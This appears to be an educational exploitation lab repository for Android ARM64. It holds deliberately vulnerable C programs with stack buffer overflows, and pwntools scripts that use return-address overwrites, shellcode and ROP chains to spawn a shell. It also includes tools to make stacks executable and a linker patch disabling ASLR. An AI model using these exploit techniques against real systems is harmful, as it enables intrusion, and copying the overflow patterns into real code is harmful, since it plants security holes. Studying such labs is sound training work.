├── .gitignore ├── libc.so ├── linker64 ├── jni ├── Application.mk ├── src │ ├── 00-hello-pwn.c │ ├── 99-test.c │ ├── 03-one-gadget.c │ ├── 06-system-rop.c │ ├── 07-execve-rop.c │ ├── 04-shellcode-static.c │ ├── 05-shellcode-dynamic.c │ ├── 02-overwrite-ret.c │ ├── 01-local-overflow.c │ └── 08-overwrite-global.c └── Android.mk ├── tools ├── switch_execstack ├── Makefile └── switch_execstack.cc ├── pwn ├── 01.py ├── 02.py ├── 04.py ├── 06.py ├── 08.py ├── 05.py └── 07.py └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | libs 2 | obj 3 | -------------------------------------------------------------------------------- /libc.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntiger1024/easy-android-pwn/HEAD/libc.so -------------------------------------------------------------------------------- /linker64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntiger1024/easy-android-pwn/HEAD/linker64 -------------------------------------------------------------------------------- /jni/Application.mk: -------------------------------------------------------------------------------- 1 | APP_ABI := arm64-v8a 2 | APP_OPTIM := debug 3 | APP_CFLAGS := -fno-stack-protector 4 | -------------------------------------------------------------------------------- /tools/switch_execstack: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ntiger1024/easy-android-pwn/HEAD/tools/switch_execstack -------------------------------------------------------------------------------- /tools/Makefile: -------------------------------------------------------------------------------- 1 | switch_execstack: switch_execstack.cc 2 | g++ -std=c++11 -o switch_execstack switch_execstack.cc 3 | -------------------------------------------------------------------------------- /jni/src/00-hello-pwn.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | system("/bin/sh"); 6 | return EXIT_SUCCESS; 7 | } 8 | -------------------------------------------------------------------------------- /jni/src/99-test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() { 6 | execve("/bin/sh", NULL, NULL); 7 | return 0; 8 | } 9 | -------------------------------------------------------------------------------- /jni/src/03-one-gadget.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int vulnerable() { 6 | printf("> "); 7 | fflush(stdout); 8 | 9 | char buffer[128]; 10 | read(STDIN_FILENO, &buffer[0], 256); 11 | return 0; 12 | } 13 | 14 | int main(int argc, char** argv) { 15 | vulnerable(); 16 | 17 | return EXIT_SUCCESS; 18 | } 19 | -------------------------------------------------------------------------------- /jni/src/06-system-rop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int vulnerable() { 6 | printf("> "); 7 | fflush(stdout); 8 | 9 | char buffer[128]; 10 | read(STDIN_FILENO, &buffer[0], 512); 11 | return 0; 12 | } 13 | 14 | int main(int argc, char** argv) { 15 | vulnerable(); 16 | 17 | return EXIT_SUCCESS; 18 | } 19 | -------------------------------------------------------------------------------- /jni/src/07-execve-rop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int vulnerable() { 6 | printf("> "); 7 | fflush(stdout); 8 | 9 | char buffer[128]; 10 | read(STDIN_FILENO, &buffer[0], 1024); 11 | return 0; 12 | } 13 | 14 | int main(int argc, char** argv) { 15 | vulnerable(); 16 | 17 | return EXIT_SUCCESS; 18 | } 19 | -------------------------------------------------------------------------------- /pwn/01.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from pwn import * 4 | 5 | context(arch='aarch64', endian='little', word_size=64, os='android') 6 | 7 | bin_path = '/data/local/tmp/01-local-overflow' 8 | proc = adb.process([bin_path]) 9 | proc.recvuntil('> ') 10 | 11 | payload = 'a' * 128 12 | payload += p64(0xdeadbabebeefc0de) 13 | proc.send(payload) 14 | proc.interactive() 15 | -------------------------------------------------------------------------------- /jni/src/04-shellcode-static.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int vulnerable() { 6 | printf("> "); 7 | fflush(stdout); 8 | 9 | char buffer[128]; 10 | read(STDIN_FILENO, &buffer[0], 512); 11 | 12 | // Dealing with cache coherency. 13 | usleep(1000); 14 | return 0; 15 | } 16 | 17 | int main(int argc, char** argv) { 18 | vulnerable(); 19 | 20 | return EXIT_SUCCESS; 21 | } 22 | -------------------------------------------------------------------------------- /jni/src/05-shellcode-dynamic.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int vulnerable() { 6 | printf("> "); 7 | fflush(stdout); 8 | 9 | char buffer[128]; 10 | read(STDIN_FILENO, &buffer[0], 512); 11 | 12 | // Dealing with cache coherency. 13 | usleep(1000); 14 | return 0; 15 | } 16 | 17 | int main(int argc, char** argv) { 18 | vulnerable(); 19 | 20 | return EXIT_SUCCESS; 21 | } 22 | -------------------------------------------------------------------------------- /jni/src/02-overwrite-ret.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void not_called() { 6 | printf("launching shell...\n"); 7 | system("/bin/sh"); 8 | } 9 | 10 | int vulnerable() { 11 | printf("> "); 12 | fflush(stdout); 13 | 14 | char buffer[128]; 15 | read(STDIN_FILENO, &buffer[0], 256); 16 | return 0; 17 | } 18 | 19 | int main(int argc, char** argv) { 20 | vulnerable(); 21 | 22 | if (argc == 1000) { 23 | not_called(); 24 | } 25 | 26 | return EXIT_SUCCESS; 27 | } 28 | -------------------------------------------------------------------------------- /jni/src/01-local-overflow.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | struct frame { 7 | char buffer[128]; 8 | unsigned long x; 9 | }; 10 | 11 | int main(int argc, char** argv) { 12 | struct frame f; 13 | memset(&f, 0, sizeof(f)); 14 | 15 | printf("> "); 16 | fflush(stdout); 17 | 18 | read(STDIN_FILENO, &f.buffer[0], 256); 19 | 20 | printf("x = %lx\n", f.x); 21 | if (f.x == (unsigned long)0xdeadbabebeefc0deUL) { 22 | printf("launching shell...\n"); 23 | system("/bin/sh"); 24 | } 25 | 26 | return EXIT_SUCCESS; 27 | } 28 | -------------------------------------------------------------------------------- /jni/src/08-overwrite-global.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | unsigned long x; 7 | 8 | int vulnerable() { 9 | printf("> "); 10 | fflush(stdout); 11 | 12 | char buffer[128]; 13 | read(STDIN_FILENO, &buffer[0], 1024); 14 | return 0; 15 | } 16 | 17 | void not_called() { 18 | if (x == (unsigned long)0xdeadbabebeefc0deUL) { 19 | system("/bin/sh"); 20 | } 21 | } 22 | 23 | int main(int argc, char** argv) { 24 | vulnerable(); 25 | if (argc == 100) { 26 | not_called(); 27 | } 28 | 29 | return EXIT_SUCCESS; 30 | } 31 | -------------------------------------------------------------------------------- /pwn/02.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ''' 4 | stack: 5 | ~~~~~~ 6 | 8 7 | x30 ------- 8 | 8 9 | x29 ------- 10 | 128 11 | buf ------- 12 | 48 13 | sp ------- <- vulnerable 14 | ''' 15 | 16 | from pwn import * 17 | 18 | context(arch='aarch64', endian='little', word_size=64, os='android') 19 | 20 | base_addr = 0x5555555000 21 | not_called = 0x7f8 + base_addr 22 | 23 | payload = 'a' * 136 24 | payload += p64(not_called) 25 | 26 | bin_path = '/data/local/tmp/02-overwrite-ret' 27 | proc = adb.process([bin_path]) 28 | proc.recvuntil('> ') 29 | proc.send(payload) 30 | proc.interactive() 31 | -------------------------------------------------------------------------------- /pwn/04.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ''' 4 | Stack: 5 | shellcode ---- 6 | 0x8: shellcode_addr 7 | x30 ---- 8 | 0x8 9 | x29 ---- 10 | 0x80 11 | buffer ---- 12 | 0x30 13 | vul_sp ---- 14 | ''' 15 | 16 | from pwn import * 17 | 18 | context(arch='aarch64', endian='little', word_size=64, os='android') 19 | 20 | shellcode = asm(shellcraft.sh()) 21 | vul_sp = 0x7ffffff6b0 22 | shellcode_addr = vul_sp + 192 23 | 24 | payload = 'a' * (128 + 8) 25 | payload += p64(shellcode_addr) 26 | payload += shellcode 27 | 28 | bin_path = '/data/local/tmp/04-shellcode-static' 29 | proc = adb.process([bin_path]) 30 | proc.recvuntil('> ') 31 | proc.send(payload) 32 | proc.interactive() 33 | -------------------------------------------------------------------------------- /jni/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | LOCAL_MODULE := 01-local-overflow 5 | LOCAL_SRC_FILES := src/01-local-overflow.c 6 | include $(BUILD_EXECUTABLE) 7 | 8 | include $(CLEAR_VARS) 9 | LOCAL_MODULE := 02-overwrite-ret 10 | LOCAL_SRC_FILES := src/02-overwrite-ret.c 11 | include $(BUILD_EXECUTABLE) 12 | 13 | include $(CLEAR_VARS) 14 | LOCAL_MODULE := 04-shellcode-static 15 | LOCAL_SRC_FILES := src/04-shellcode-static.c 16 | include $(BUILD_EXECUTABLE) 17 | 18 | include $(CLEAR_VARS) 19 | LOCAL_MODULE := 05-shellcode-dynamic 20 | LOCAL_SRC_FILES := src/05-shellcode-dynamic.c 21 | include $(BUILD_EXECUTABLE) 22 | 23 | include $(CLEAR_VARS) 24 | LOCAL_MODULE := 06-system-rop 25 | LOCAL_SRC_FILES := src/06-system-rop.c 26 | include $(BUILD_EXECUTABLE) 27 | 28 | include $(CLEAR_VARS) 29 | LOCAL_MODULE := 07-execve-rop 30 | LOCAL_SRC_FILES := src/07-execve-rop.c 31 | include $(BUILD_EXECUTABLE) 32 | 33 | include $(CLEAR_VARS) 34 | LOCAL_MODULE := 08-overwrite-global 35 | LOCAL_SRC_FILES := src/08-overwrite-global.c 36 | include $(BUILD_EXECUTABLE) 37 | -------------------------------------------------------------------------------- /pwn/06.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ''' 4 | gg1: 0x0002b7e0: ldp x29, x30, [sp, #0x10]; mov x0, x20; ldp x20, x19, [sp], #0x20; ret; 5 | gg2: 0x0002b7e0: ldp x29, x30, [sp, #0x10]; mov x0, x20; ldp x20, x19, [sp], #0x20; ret; 6 | 7 | stack: 8 | ~~~~ 9 | 8: system_addr 10 | x30 ------- 11 | 8 12 | x29 ------- 13 | 16 14 | unused ------- gg2_sp 15 | 8: gg2 16 | x30 ------- 17 | 8 18 | x29 ------- 19 | 8 20 | x19 ------- 21 | 8: sh_addr 22 | x20 ------- gg1_sp 23 | 8: gg1 24 | x30 ------- 25 | 8 26 | x29 ------- 27 | 128 28 | buffer ------- 29 | 48 30 | vul_sp ------- 31 | ''' 32 | 33 | from pwn import * 34 | 35 | context(arch='aarch64', endian='little', word_size=64, os='android') 36 | 37 | bin_path = '/data/local/tmp/06-system-rop' 38 | libc_path = 'libc.so' 39 | libc_elf = ELF(libc_path) 40 | libc_addr = 0x7fbf3c1000 41 | gg1 = libc_addr + 0x2b7e0 42 | gg2 = libc_addr + 0x2b7e0 43 | sh_addr = libc_addr + libc_elf.search('/system/bin/sh\x00').next() 44 | system_addr = libc_addr + libc_elf.symbols['system'] 45 | 46 | payload = 'a' * (128 + 8) 47 | payload += p64(gg1) 48 | payload += p64(sh_addr) 49 | payload += 'a' * 16 50 | payload += p64(gg2) 51 | payload += 'a' * (16 + 8) 52 | payload += p64(system_addr) 53 | 54 | proc = adb.process([bin_path]) 55 | proc.recvuntil('> ') 56 | proc.send(payload) 57 | proc.interactive() 58 | -------------------------------------------------------------------------------- /pwn/08.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ''' 4 | Gadgets: 5 | gg1: 0x0009bcd0: ldp x29, x30, [sp, #0x20]; ldp x20, x19, [sp, #0x10]; ldp x22, x21, [sp], #0x30; ret; 6 | gg2: 0x000779c4: mov x0, x21; blr x20; 7 | gg3: 0x00041538: str x0, [x19]; ldp x29, x30, [sp, #0x10]; ldr x19, [sp], #0x20; ret; 8 | 9 | Stack: 10 | 0x8: not_called 11 | x30 ---- 12 | 0x18 13 | unused ---- 14 | 0x8: gg2 15 | x30 ---- 16 | 0x8 17 | x29 ---- 18 | 0x8: x_addr 19 | x19 ---- 20 | 0x8: gg3 21 | x20 ---- 22 | 0x8: x_value 23 | x21 ---- 24 | 0x8 25 | x22 ---- <- gg1_sp 26 | 0x8: gg1 27 | x30 ---- 28 | 0x8 29 | x29 ---- 30 | 0x80 31 | buffer ---- 32 | 0x20 33 | ---- <- vul_sp 34 | ''' 35 | 36 | from pwn import * 37 | 38 | context(arch='aarch64', endian='little', word_size=64, os='android') 39 | 40 | bin_addr = 0x5555555000 41 | x_addr = bin_addr + 0x11008 42 | not_called = bin_addr + 0x8b8 43 | 44 | libc_addr = 0x7fbf3c1000 45 | gg1 = libc_addr + 0x9bcd0 46 | gg2 = libc_addr + 0x779c4 47 | gg3 = libc_addr + 0x41538 48 | 49 | x_value = 0xdeadbabebeefc0de 50 | 51 | payload = 'a' * 0x88 52 | payload += p64(gg1) 53 | payload += 'a' * 8 54 | payload += p64(x_value) 55 | payload += p64(gg3) 56 | payload += p64(x_addr) 57 | payload += 'a' * 8 58 | payload += p64(gg2) 59 | payload += 'a' * 0x18 60 | payload += p64(not_called) 61 | 62 | bin_path = '/data/local/tmp/08-overwrite-global' 63 | proc = adb.process([bin_path]) 64 | proc.recvuntil('> ') 65 | proc.send(payload) 66 | proc.interactive() 67 | -------------------------------------------------------------------------------- /pwn/05.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ''' 4 | Gadgets: 5 | gg1: 0x00025fac: mov x0, xzr; ldp x29, x30, [sp, #0x20]; ldp x20, x19, [sp, #0x10]; ldp x22, x21, [sp], #0x30; ret; 6 | gg2: 0x0004ea34: ldr x8, [sp, #0x88]; sub x26, x24, x28; mov x0, x26; add x27, x24, x8; mov x1, x27; blr x19; 7 | gg3: 0x00053078: add x0, sp, #0x48; blr x8; 8 | gg4: 0x0001c480: br x0; 9 | 10 | Stack: 11 | shellcode ---- 12 | 0x8: gg4 13 | x8 ---- 14 | 0x88 - len(shellcode) 15 | unused ---- 16 | shellcode 17 | x0 ---- 18 | 0x48 19 | gg2(3)_sp ---- 20 | 0x8: gg2 21 | x30 ---- 22 | 0x8 23 | x29 ---- 24 | 0x8: gg3 25 | x19 ---- 26 | 0x18 27 | gg1_sp ---- 28 | 0x8: gg1 29 | x30 ---- 30 | 0x88 31 | buffer ---- 32 | 0x30 33 | vul_sp ---- 34 | 35 | ''' 36 | 37 | from pwn import * 38 | 39 | context(arch='aarch64', endian='little', word_size=64, os='android') 40 | 41 | shellcode = asm(shellcraft.sh()) # must not larger then 0x40 42 | libc_addr = 0x7fbf3c1000 43 | gg1 = libc_addr + 0x00025fac 44 | gg2 = libc_addr + 0x0004ea34 45 | gg3 = libc_addr + 0x00053078 46 | gg4 = libc_addr + 0x0001c480 47 | 48 | payload = 'a' * (128 + 8) 49 | payload += p64(gg1) 50 | payload += 'a' * 0x18 51 | payload += p64(gg3) 52 | payload += 'a' * 8 53 | payload += p64(gg2) 54 | payload += 'a' * 0x48 55 | payload += shellcode 56 | payload += 'a' * (0x40 - len(shellcode)) 57 | payload += p64(gg4) 58 | 59 | bin_path = '/data/local/tmp/05-shellcode-dynamic' 60 | proc = adb.process([bin_path]) 61 | proc.recvuntil('> ') 62 | proc.send(payload) 63 | proc.interactive() 64 | -------------------------------------------------------------------------------- /pwn/07.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ''' 4 | Gadgets: 5 | gg1: 0x0001c598: ldp x29, x30, [sp, #0x40]; ldp x20, x19, [sp, #0x30]; ldp x22, x21, [sp, #0x20]; ldp x24, x23, [sp, #0x10]; ldp x26, x25, [sp], #0x50; ret; 6 | gg2: 0x00021b64: mov x0, x20; mov x1, x21; mov x2, x25; mov w3, w24; blr x19; 7 | gg3: 0x0007b1ec: movz x8, #0xdd; svc #0; 8 | 9 | Stack: 10 | 11 | 0x8: gg2 12 | x30 ---- 13 | 0x8 14 | x29 ---- 15 | 0x8: gg3 16 | x19 ---- 17 | 0x8: sh_addr 18 | x20 ---- 19 | 0x8: 0 20 | x21 ---- 21 | 0x8 22 | x22 ---- 23 | 0x8 24 | x23 ---- 25 | 0x8 26 | x24 ---- 27 | 0x8: 0 28 | x25 ---- 29 | 0x8 30 | x26 ---- <- gg1_sp 31 | 0x8: gg1 32 | x30 ---- 33 | 0x8 34 | x29 ---- 35 | 0x80 36 | buffer ---- 37 | 0x30 38 | ---- <- vul_sp 39 | ''' 40 | 41 | from pwn import * 42 | context(arch='aarch64', endian='little', word_size=64, os='android') 43 | 44 | 45 | libc_addr = 0x7fbf3c1000 46 | gg1 = libc_addr + 0x0001c598 47 | gg2 = libc_addr + 0x00021b64 48 | gg3 = libc_addr + 0x0007b1ec 49 | 50 | libc_path = 'libc.so' 51 | libc_elf = ELF(libc_path) 52 | sh_addr = libc_addr + libc_elf.search('/bin/sh\x00').next() 53 | 54 | payload = 'a' * 136 55 | payload += p64(gg1) 56 | payload += 'a' * 8 57 | payload += p64(0) 58 | payload += 'a' * 24 59 | payload += p64(0) 60 | payload += p64(sh_addr) 61 | payload += p64(gg3) 62 | payload += 'a' * 8 63 | payload += p64(gg2) 64 | 65 | bin_path = '/data/local/tmp/07-execve-rop' 66 | proc = adb.process([bin_path]) 67 | proc.recvuntil('> ') 68 | proc.send(payload) 69 | proc.interactive() 70 | -------------------------------------------------------------------------------- /tools/switch_execstack.cc: -------------------------------------------------------------------------------- 1 | // Switch the 'E'xectable flag of the GNU_STACK program header in an ELF file. 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | using namespace std; 14 | 15 | class UniqueFd { 16 | public: 17 | UniqueFd() : fd_(-1) {} 18 | UniqueFd(int fd) : fd_(fd) {} 19 | UniqueFd(const UniqueFd &) = delete; 20 | UniqueFd &operator=(const UniqueFd &) = delete; 21 | ~UniqueFd() { 22 | if (fd_ >= 0) close(fd_); 23 | } 24 | 25 | int Fd() const { return fd_; } 26 | 27 | private: 28 | int fd_; 29 | }; 30 | 31 | int main(int argc, char **argv) { 32 | if (argc != 3) { 33 | fprintf(stderr, "usgae: %s elf on|off\n", argv[0]); 34 | return -1; 35 | } 36 | 37 | uint32_t xflag = 0; 38 | if (strcmp(argv[2], "on") == 0) { 39 | xflag = PF_X; 40 | } else if (strcmp(argv[2], "off") != 0) { 41 | fprintf(stderr, "usage: %s elf on|off\n", argv[0]); 42 | return -1; 43 | } 44 | 45 | UniqueFd fd(open(argv[1], O_RDWR)); 46 | if (fd.Fd() == -1) { 47 | fprintf(stderr, "can't open %s: %s\n", argv[1], strerror(errno)); 48 | return -1; 49 | } 50 | 51 | struct stat stat; 52 | if (fstat(fd.Fd(), &stat) == -1) { 53 | fprintf(stderr, "stat error: %s\n", strerror(errno)); 54 | return -1; 55 | } 56 | if (stat.st_size < sizeof(Elf64_Ehdr)) { 57 | fprintf(stderr, "%s is not Elf format(file size too small)\n", argv[1]); 58 | return -1; 59 | } 60 | 61 | unique_ptr ehdr(new Elf64_Ehdr); 62 | if (read(fd.Fd(), ehdr.get(), sizeof(Elf64_Ehdr)) != sizeof(Elf64_Ehdr)) { 63 | fprintf(stderr, "read Elf64_Ehdr error\n"); 64 | return -1; 65 | } 66 | if (ehdr->e_ident[EI_MAG0] != ELFMAG0 || ehdr->e_ident[EI_MAG1] != ELFMAG1 || 67 | ehdr->e_ident[EI_MAG2] != ELFMAG2 || ehdr->e_ident[EI_MAG3] != ELFMAG3) { 68 | fprintf(stderr, "%s is not ELF format\n", argv[1]); 69 | return -1; 70 | } 71 | if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) { 72 | fprintf(stderr, "only ELF64 is supported\n"); 73 | return -1; 74 | } 75 | 76 | Elf64_Addr phoff = ehdr->e_phoff; 77 | uint16_t phnum = ehdr->e_phnum; 78 | unique_ptr phdr(new Elf64_Phdr); 79 | bool found = false; 80 | if (lseek(fd.Fd(), phoff, SEEK_SET) == -1) { 81 | fprintf(stderr, "can't lseek: %s\n", strerror(errno)); 82 | return -1; 83 | } 84 | for (uint16_t i = 0; i < phnum; ++i) { 85 | if (read(fd.Fd(), phdr.get(), sizeof(Elf64_Phdr)) != sizeof(Elf64_Phdr)) { 86 | fprintf(stderr, "read Elf64_Phdr error\n"); 87 | return -1; 88 | } 89 | phoff += sizeof(Elf64_Phdr); 90 | if (phdr->p_type == PT_GNU_STACK) { 91 | found = true; 92 | break; 93 | } 94 | } 95 | if (!found) { 96 | fprintf(stderr, "can't find GNU_STACK program header\n"); 97 | return -1; 98 | } 99 | phoff -= sizeof(Elf64_Phdr); 100 | 101 | if ((phdr->p_flags & PF_X) == xflag) { 102 | fprintf(stderr, "X flag is already %s\n", xflag ? "set" : "clear"); 103 | return 0; 104 | } 105 | 106 | if (xflag) { 107 | phdr->p_flags |= xflag; 108 | } else { 109 | phdr->p_flags &= ~PF_X; 110 | } 111 | if (lseek(fd.Fd(), phoff, SEEK_SET) == -1) { 112 | fprintf(stderr, "can't lseek for write: %s\n", strerror(errno)); 113 | return -1; 114 | } 115 | if (write(fd.Fd(), phdr.get(), sizeof(Elf64_Phdr)) != sizeof(Elf64_Phdr)) { 116 | fprintf(stderr, "write Elf64_Phdr error: %s\n", strerror(errno)); 117 | return -1; 118 | } 119 | return 0; 120 | } 121 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Easy android pwn 2 | ================ 3 | 4 | This project is based on [easy-linux-pwn](https://github.com/xairy/easy-linux-pwn). 5 | 6 | Those tasks in the origin project can't be solved on newer android platforms(for example, 9.0). 7 | Thare are some differences between android and other linux distributions: 8 | 9 | 1. Android randomizes addresses of dynamic libraries even if ASLR is disabled 10 | 2. Android-NDK forces '-z noexecstack' option when build executables 11 | 12 | So I do some works to port these tasks to Android platform. 13 | 14 | Rrerequisites & Setup 15 | --------------------- 16 | 17 | 1. Follow instructions in [easy-linux-pwn](https://github.com/xairy/easy-linux-pwn) 18 | 2. Android 9.0 device 19 | 3. Build you own Android ROM with the following change. (or just push [linker64](linker64) to /system/bin/ if you are lucky enough(may brick you device!!!)) 20 | 21 | ```C++ 22 | diff --git a/linker/linker.cpp b/linker/linker.cpp 23 | index c78b9aba6..d20995162 100644 24 | --- a/linker/linker.cpp 25 | +++ b/linker/linker.cpp 26 | @@ -1493,13 +1493,13 @@ static bool find_library_internal(android_namespace_t* ns, 27 | 28 | static void soinfo_unload(soinfo* si); 29 | 30 | -static void shuffle(std::vector* v) { 31 | - for (size_t i = 0, size = v->size(); i < size; ++i) { 32 | - size_t n = size - i; 33 | - size_t r = arc4random_uniform(n); 34 | - std::swap((*v)[n-1], (*v)[r]); 35 | - } 36 | -} 37 | +// static void shuffle(std::vector* v) { 38 | +// for (size_t i = 0, size = v->size(); i < size; ++i) { 39 | +// size_t n = size - i; 40 | +// size_t r = arc4random_uniform(n); 41 | +// std::swap((*v)[n-1], (*v)[r]); 42 | +// } 43 | +// } 44 | 45 | // add_as_children - add first-level loaded libraries (i.e. library_names[], but 46 | // not their transitive dependencies) as children of the start_with library. 47 | @@ -1603,7 +1603,7 @@ bool find_libraries(android_namespace_t* ns, 48 | load_list.push_back(task); 49 | } 50 | } 51 | - shuffle(&load_list); 52 | + // shuffle(&load_list); 53 | 54 | for (auto&& task : load_list) { 55 | if (!task->load()) { 56 | diff --git a/linker/linker_phdr.cpp b/linker/linker_phdr.cpp 57 | index a5eab44ec..4c6cdf494 100644 58 | --- a/linker/linker_phdr.cpp 59 | +++ b/linker/linker_phdr.cpp 60 | @@ -548,6 +548,7 @@ static void* ReserveAligned(void* hint, size_t size, size_t align) { 61 | uint8_t* first = align_up(mmap_ptr, align); 62 | uint8_t* last = align_down(mmap_ptr + mmap_size, align) - size; 63 | size_t n = arc4random_uniform((last - first) / PAGE_SIZE + 1); 64 | + n = 1; 65 | uint8_t* start = first + n * PAGE_SIZE; 66 | munmap(mmap_ptr, start - mmap_ptr); 67 | munmap(start + size, mmap_ptr + mmap_size - (start + size)); 68 | ``` 69 | 70 | 4. For task 04 and task 05, make their stacks executable using [`switch_execstack`](tools/switch_execstack) 71 | 72 | ```shell 73 | $ ./tools/switch_execstack libs/arm64-v8a/04-shellcode-static on 74 | 75 | $ aarch64-linux-android-readelf -l libs/arm64-v8a/04-shellcode-static 76 | ... 77 | Program Headers: 78 | ... 79 | GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 80 | 0x0000000000000000 0x0000000000000000 RWE 10 81 | ... 82 | ``` 83 | 84 | 5. Disable ASLR: `adb shell 'echo 0 > /proc/sys/kernel/randomize_va_space'` 85 | 6. Push exectuables to device: /data/local/tmp/ 86 | 87 | Issues 88 | ------ 89 | 90 | It seems like [`one_gadget'](https://github.com/david942j/one_gadget) does not support android. So task 03 is not work. 91 | --------------------------------------------------------------------------------